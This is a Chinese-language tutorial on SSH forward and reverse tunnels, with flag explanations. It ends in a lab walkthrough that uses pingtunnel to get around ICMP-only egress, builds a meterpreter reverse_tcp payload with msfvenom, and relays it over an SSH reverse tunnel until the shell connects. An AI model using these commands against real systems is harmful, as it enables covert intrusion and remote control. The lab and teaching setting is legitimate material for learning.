ssh正向隧道:
就是将本地端口映射到远程上,相当访问本地端口就是访问远程的端口
正向 访问本地对应的是远程的端口
ssh -fNCL 本地ip:本地port:远程ip:远程port 用户@远程ip/域名
实例:
ssh -fNCL 192.168.222.128:90:192.168.222.132:80 hjw123@192.168.222.132
这里添加192.168.222.128是可以在内网主机都可以访问云中的资源,在本地访问localhost:90,即可访问192.168.222.132:80端口
ssh反向隧道:
相反,就是将远程端口映射到本地,访问远程端口相当访问本地
反向 访问远程端口对应的是本地的端口
ssh -fNCR 0.0.0.0:远程ip:本地ip:本地端口 远程用户名@远程ip
这里还需要对远程地址的/etc/ssh/sshd_config配置下,将GateWayPorts改为yes,很容易理解,为了安全
实例:
ssh -fNCR 0.0.0.0:7777:192.168.222.128:80 hjw123@192.168.222.132
我们访问192.168.222.132:7777
参数介绍:
-f 后台执行ssh指令
-C 允许压缩数据
-N 不执行远程指令
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-L 将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-p 指定远程主机的端口
实例应用
这是一个wind为服务器,只允许icmp出网,这里我们通过ubuntu进行icmp隧道代理出来,然后使用ssh反向隧道使用msf监听本地端口等shell上线。
pingtunnel启动服务端:192.168.222.132
./pingtunnel -type server -nolog 1 -noprint 1
pingtunnel启动客户端:192.168.222.136
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.222.132 -t 192.168.222.132:7890 -tcp 1 -nolog 1
这里-l 127.0.0.1:9999将本地的9999流量交给-s 192.168.222.132 ,-t 192.168.222.132:7890给到他的7890端口
使用msf生成shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > hjw.exe
这里是给到本地的9999端口是对应上面的win主机,上传给win主机
开启ssh反向隧道,使linux的7890端口对应到本地的51111端口
ssh -fNCR 0.0.0.0:7890:192.168.222.128:51111 hjw123@192.168.222.132
我们开启msf对本地的51111端口监听
现在双击shell,msf成功连接
我们可以使用这个方法做很多事情,这样我们的工具可以放到本地,然后直接使用vps的端口代理到本地,避免服务器资源的消耗。